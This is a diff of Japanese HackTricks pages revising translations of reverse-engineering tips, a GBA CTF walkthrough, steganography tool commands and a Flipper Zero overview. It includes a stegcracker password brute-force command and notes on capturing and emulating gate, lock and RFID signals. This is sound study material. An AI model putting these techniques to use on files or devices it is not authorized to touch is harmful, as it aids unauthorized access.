apt-get install libz3-dev apt-get install libz3-dev
@ -261,7 +259,7 @@ apt-get install libz3-dev
![](<../../.gitbook/assets/image (612).png>) ![](<../../.gitbook/assets/image (612).png>)
この場合、バイナリの名前はauthenticatorと呼ばれていたので、これが興味深いmain関数であることはかなり明らかです。\ この場合、バイナリの名前はauthenticatorと呼ばれていたので、これが興味深いmain関数であることはかなり明らかです。\
**呼び出されている関数の名前**を持っている場合は、それらを**インターネット**で検索して、それらの**入力**と**出力**について学びます。 呼び出されている**関数の名前**を持っている場合は、それらを**インターネット**で検索して、それらの**入力**と**出力**について学びます。
## **Delphi** ## **Delphi**
@ -271,7 +269,7 @@ Delphiバイナリを逆アセンブルする必要がある場合は、IDAプ
単に**ATL+f7**IDAでPythonプラグインをインポートを押し、Pythonプラグインを選択します。 単に**ATL+f7**IDAでPythonプラグインをインポートを押し、Pythonプラグインを選択します。
このプラグインはバイナリを実行し、デバッグの開始時に関数名を動的に解決します。デバッグを開始した後、再度Startボタン緑色のボタンまたはf9を押すと、実際のコードの最初にブレークポイントがヒットします。 このプラグインはバイナリを実行し、デバッグの開始時に関数名を動的に解決します。デバッグを開始した後、再度Startボタン緑色のボタンまたはf9を押すと、実際のコードの最初にブレークポイントがヒットします。
また、グラフィックアプリケーションでボタンを押すと、そのボタンによって実行される関数でデバッガが停止します。 また、グラフィックアプリケーションでボタンを押すと、そのボタンによって実行される関数でデバッガが停止します。
@ -285,7 +283,7 @@ Golangバイナリを逆アセンブルする必要がある場合は、IDAプ
## コンパイルされたPython ## コンパイルされたPython
このページでは、ELF/EXE PythonコンパイルされたバイナリからPythonコードを取得する方法が見つかります: このページでは、ELF/EXE PythonコンパイルバイナリからPythonコードを取得する方法が見つかります:
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} {% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) [.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
@ -295,12 +293,12 @@ Golangバイナリを逆アセンブルする必要がある場合は、IDAプ
GBAゲームの**バイナリ**を取得した場合、それを**エミュレート**および**デバッグ**するために異なるツールを使用できます: GBAゲームの**バイナリ**を取得した場合、それを**エミュレート**および**デバッグ**するために異なるツールを使用できます:
* [**no$gba**](https://problemkaputt.de/gba.htm)_デバッグバージョンをダウンロード_ - インターフェース付きのデバッガを含む * [**no$gba**](https://problemkaputt.de/gba.htm)(デバッグバージョンをダウンロード) - インターフェース付きのデバッガを含む
* [**mgba** ](https://mgba.io)- CLIデバッガを含む * [**mgba** ](https://mgba.io)- CLIデバッガを含む
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン * [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン * [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン
[**no$gba**](https://problemkaputt.de/gba.htm)では、_**Options --> Emulation Setup --> Controls**_でGame Boy Advanceの**ボタン**を押す方法がわかります [**no$gba**](https://problemkaputt.de/gba.htm)では、_**Options --> Emulation Setup --> Controls**_でゲームボーイアドバンスの**ボタン**を押す方法がわかります
![](<../../.gitbook/assets/image (578).png>) ![](<../../.gitbook/assets/image (578).png>)
@ -317,7 +315,7 @@ DOWN = 128
R = 256 R = 256
L = 256 L = 256
``` ```
したがって、この種のプログラムでは、興味深いのは**プログラムがユーザー入力を処理する方法**です。アドレス**0x4000130**には、一般的に見られる関数**KEYINPUT**があります。 したがって、この種のプログラムでは、興味深いのは**プログラムがユーザー入力をどのように処理するか**です。アドレス**0x4000130**には、一般的に見られる関数**KEYINPUT**があります。
![](<../../.gitbook/assets/image (579).png>) ![](<../../.gitbook/assets/image (579).png>)
@ -390,7 +388,7 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
* 次に、**値8****START**ボタン)と比較されます:このチャレンジでは、コードがフラグを取得するために有効かどうかをチェックします。 * 次に、**値8****START**ボタン)と比較されます:このチャレンジでは、コードがフラグを取得するために有効かどうかをチェックします。
* この場合、変数**`DAT_030000d8`**が0xf3と比較され、値が同じ場合はいくつかのコードが実行されます。 * この場合、変数**`DAT_030000d8`**が0xf3と比較され、値が同じ場合はいくつかのコードが実行されます。
* それ以外の場合、一部のcont`DAT_030000d4`がチェックされます。これはcontであるため、コードに入るとすぐに1が追加されます。\ * それ以外の場合、一部のcont`DAT_030000d4`がチェックされます。これはcontであるため、コードに入るとすぐに1が追加されます。\
8未満の場合、**`DAT_030000d8`**に**値を追加**する何かが行われます基本的には、contが8未満である限り、この変数に押されたキーの値を追加しています)。 8未満の場合、**`DAT_030000d8`**に値を**追加**するものが行われます基本的には、contが8未満の間、この変数に押されたキーの値を追加しています)。
したがって、このチャレンジでは、ボタンの値を知っていると、**長さが8未満で、結果の加算が0xf3になる組み合わせを押す必要がありました。** したがって、このチャレンジでは、ボタンの値を知っていると、**長さが8未満で、結果の加算が0xf3になる組み合わせを押す必要がありました。**
@ -407,7 +405,7 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -417,10 +415,10 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksのPDFをダウンロード**したり、**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksのPDFをダウンロード**したり、**HackTricksを広告**できるようにするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れ * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**したりしてください。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>

View file

@ -7,16 +7,16 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローする - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** - **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -74,27 +74,27 @@ strings -e B -n 6 file # 32bit strings (big-endian)
```bash ```bash
cmp original.jpg stego.jpg -b -l cmp original.jpg stego.jpg -b -l
``` ```
## **テキスト内の隠されたデータの抽出** ## **テキスト内の隠データの抽出**
### **スペース内の隠されたデータ** ### **スペース内の隠データ**
見かけ上空白のスペースに不可視文字が情報を隠しているかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)を訪れてください。 見かけ上空白のスペースに不可視文字が情報を隠しているかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) を訪れてください。
## **画像からデータを抽出する** ## **画像からデータを抽出する**
### **GraphicMagickを使用して画像の詳細を特定する** ### **GraphicMagickを使用して画像の詳細を特定する**
[GraphicMagick](https://imagemagick.org/script/download.php)は画像ファイルの種類を特定し、潜在的な破損を特定するために使用されます。以下のコマンドを実行して画像を検査します: [GraphicMagick](https://imagemagick.org/script/download.php) は画像ファイルの種類を特定し、潜在的な破損を特定するために使用されます。以下のコマンドを実行して画像を検査します:
```bash ```bash
./magick identify -verbose stego.jpg ./magick identify -verbose stego.jpg
``` ```
画像の修復を試みる場合、メタデータコメントを追加すると役立つかもしれません: 画像の修復を試みる際に、メタデータコメントを追加すると役立つかもしれません:
```bash ```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
``` ```
### **データ隠蔽のためのSteghide** ### **データ隠蔽のためのSteghide**
Steghideは、`JPEG、BMP、WAV、およびAU`ファイルにデータを隠蔽することを容易にし、暗号化されたデータを埋め込んだり抽出したりすることができます。`apt`を使用して簡単にインストールでき、[GitHubでソースコードが利用可能です](https://github.com/StefanoDeVuono/steghide)。 Steghideは、`JPEG、BMP、WAV、およびAU`ファイルにデータを隠蔽することを容易にし、暗号化されたデータを埋め込んだり抽出したりすることができます。`apt`を使用して簡単にインストールでき、[GitHubでソースコードが利用可能です](https://github.com/StefanoDeVuono/steghide)。
**コマンド:** **コマンド:**
@ -103,42 +103,42 @@ Steghideは、`JPEG、BMP、WAV、およびAU`ファイル内にデータを隠
Webベースの抽出を行う場合は、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。 Webベースの抽出を行う場合は、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。
**Stegcrackerによるブルートフォース攻撃:** **Stegcrackerを使用したブルートフォース攻撃:**
* Steghideでパスワードクラッキングを試みるには、[stegcracker](https://github.com/Paradoxis/StegCracker.git)を以下のように使用します: * Steghideでパスワードクラッキングを試みるには、[stegcracker](https://github.com/Paradoxis/StegCracker.git)を以下のように使用します:
```bash ```bash
stegcracker <file> [<wordlist>] stegcracker <file> [<wordlist>]
``` ```
### **PNGおよびBMPファイル用のzsteg** ### **PNG および BMP ファイル用の zsteg**
zstegは、PNGおよびBMPファイル内の隠されたデータを特定することに特化しています。インストールは`gem install zsteg`を使用し、[GitHubでソースを入手](https://github.com/zed-0xff/zsteg)できます。 zsteg は、PNG および BMP ファイル内の隠されたデータを特定するのに特化しています。インストールは `gem install zsteg` を使用し、[GitHub でソースを入手](https://github.com/zed-0xff/zsteg) できます。
**コマンド:** **コマンド:**
* `zsteg -a file`はファイルにすべての検出方法を適用します。 * `zsteg -a file` はファイルにすべての検出方法を適用します。
* `zsteg -E file`はデータ抽出用のペイロードを指定します。 * `zsteg -E file` はデータ抽出用のペイロードを指定します。
### **StegoVeritasおよびStegsolve** ### **StegoVeritas および Stegsolve**
**stegoVeritas**はメタデータをチェックし、画像変換を実行し、LSBブルートフォースなどを適用します。すべてのチェックを実行するには、`stegoveritas.py stego.jpg`を使用してすべてのオプションのリストを取得するには、`stegoveritas.py -h`を使用します。 **stegoVeritas** はメタデータをチェックし、画像変換を実行し、LSB ブルートフォースなどを適用します。すべてのオプションの完全なリストについては `stegoveritas.py -h` を使用し、すべてのチェックを実行するには `stegoveritas.py stego.jpg` を使用します。
**Stegsolve**はさまざまなカラーフィルタを適用して画像内の隠されたテキストやメッセージを表示します。[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)で入手できます。 **Stegsolve** はさまざまなカラーフィルタを適用して画像内の隠されたテキストやメッセージを表示します。[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) で入手できます。
### **隠されたコンテンツの検出のためのFFT** ### **隠されたコンテンツの検出のための FFT**
高速フーリエ変換FFT技術を使用すると、画像内の隠されたコンテンツを明らかにすることができます。有用なリソースは次のとおりです 高速フーリエ変換FFT技術を使用すると、画像内の隠されたコンテンツを明らかにすることができます。有用なリソースは次のとおりです:
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) * [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) * [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [GitHubのFFTStegPic](https://github.com/0xcomposure/FFTStegPic) * [GitHub FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
### **オーディオおよび画像ファイル用のStegpy** ### **オーディオおよび画像ファイル用の Stegpy**
Stegpyを使用すると、PNG、BMP、GIF、WebP、WAVなどの形式をサポートする画像およびオーディオファイルに情報を埋め込むことができます。[GitHub](https://github.com/dhsdshdhk/stegpy)で入手できます。 Stegpy は、PNG、BMP、GIF、WebP、WAV などの形式をサポートし、画像およびオーディオファイルに情報を埋め込むことができます。[GitHub](https://github.com/dhsdshdhk/stegpy) で入手できます。
### **PNGファイルの解析のためのPngcheck** ### **PNG ファイルの解析用の Pngcheck**
PNGファイルを解析したり、その信頼性を検証したりするには、 PNG ファイルを解析したり、その信頼性を検証するには、以下を使用します:
```bash ```bash
apt-get install pngcheck apt-get install pngcheck
pngcheck stego.png pngcheck stego.png
@ -173,29 +173,29 @@ ffmpeg -v info -i stego.mp3 -f null -
``` ```
### **WavSteg (WAV)** ### **WavSteg (WAV)**
WavStegは、最も重要でないビット戦略を使用してWAVファイル内データを隠したり抽出したりするのに優れています。[GitHub](https://github.com/ragibson/Steganography#WavSteg)で利用可能です。コマンドには次のものがあります: WavStegは、最も重要でないビット戦略を使用してWAVファイル内データを隠したり抽出したりするのに優れています。[GitHub](https://github.com/ragibson/Steganography#WavSteg)で利用可能です。コマンドには次のものがあります:
```bash ```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
``` ```
### **ディープサウンド** ### **Deepsound**
Deepsoundは、AES-256を使用して音声ファイル内の情報の暗号化と検出を可能にします。[公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードできます。 Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
### **ソニックビジュアライザー** ### **Sonic Visualizer**
オーディオファイルの視覚的および分析的検査には貴重なツールであり、他の手段では検出できない隠された要素を明らかにすることができるSonic Visualizerをご利用ください。詳細は[公式ウェブサイト](https://www.sonicvisualiser.org/)をご覧ください。 An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
### **DTMFトーン - ダイヤルトーン** ### **DTMF Tones - Dial Tones**
オーディオファイル内のDTMFトーンを検出することは、[このDTMF検出器](https://unframework.github.io/dtmf-detect/)や[DialABC](http://dialabc.com/sound/detect/index.html)などのオンラインツールを使用して達成できます。 Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
## **その他のテクニック** ## **Other Techniques**
### **バイナリ長SQRT - QRコード** ### **Binary Length SQRT - QR Code**
整数になる二乗のバイナリデータは、QRコードを表す可能性があります。次のスニペットを使用して確認してください Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
```python ```python
import math import math
math.sqrt(2500) #50 math.sqrt(2500) #50
@ -211,7 +211,7 @@ math.sqrt(2500) #50
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -221,9 +221,9 @@ math.sqrt(2500) #50
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手す * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。 * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。

View file

@ -4,17 +4,17 @@
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手する
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -27,15 +27,15 @@
* **125kHzタグの読み取り/キャプチャ/エミュレート:** [**125kHz RFID**](fz-125khz-rfid.md) * **125kHzタグの読み取り/キャプチャ/エミュレート:** [**125kHz RFID**](fz-125khz-rfid.md)
* **赤外線信号の読み取り/キャプチャ/送信:** [**Infrared**](fz-infrared.md) * **赤外線信号の読み取り/キャプチャ/送信:** [**Infrared**](fz-infrared.md)
* **iButtonの読み取り/キャプチャ/エミュレート:** [**iButton**](../ibutton.md) * **iButtonの読み取り/キャプチャ/エミュレート:** [**iButton**](../ibutton.md)
* **Bad USBとして使用** * **Bad USBとして使用する**
* **セキュリティキーU2Fとして使用** * **セキュリティキーU2Fとして使用する**
* **Snakeをプレイ** * **Snakeをプレイする**
**他のFlipper Zeroリソースはこちら** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero) [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)に他のFlipper Zeroリソースがあります
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -43,10 +43,10 @@
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手する
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする - **Discordグループ**に参加する💬https://discord.gg/hRep4RUj7fまたは[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で私たちをフォローする[**@carlospolopm**](https://twitter.com/hacktricks_live)。
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する - **HackTricks**https://github.com/carlospolop/hacktricks[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,13 +24,13 @@ HackTricksをサポートする他の方法
## イントロ <a href="#kfpn7" id="kfpn7"></a> ## イントロ <a href="#kfpn7" id="kfpn7"></a>
Flipper Zeroは、**300-928 MHzの周波数で無線信号を受信および送信**できる内蔵モジュールを備えており、リモートコントロールの読み取り、保存、エミュレートが可能です。これらのコントロールは、ゲート、バリア、ラジオロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどとのやり取りに使用されます。Flipper Zeroは、セキュリティが危険にさらされているかどうかを学ぶのに役立ちます。 Flipper Zeroは、**300-928 MHzの範囲で無線周波数を受信および送信**できる内蔵モジュールを備えており、リモートコントロールを読み取り、保存し、エミュレートできます。これらのコントロールは、ゲート、バリア、ラジオロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどとのやり取りに使用されます。Flipper Zeroは、セキュリティが危険にさらされているかどうかを学ぶのに役立ちます。
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
## Sub-GHzハードウェア <a href="#kfpn7" id="kfpn7"></a> ## Sub-GHzハードウェア <a href="#kfpn7" id="kfpn7"></a>
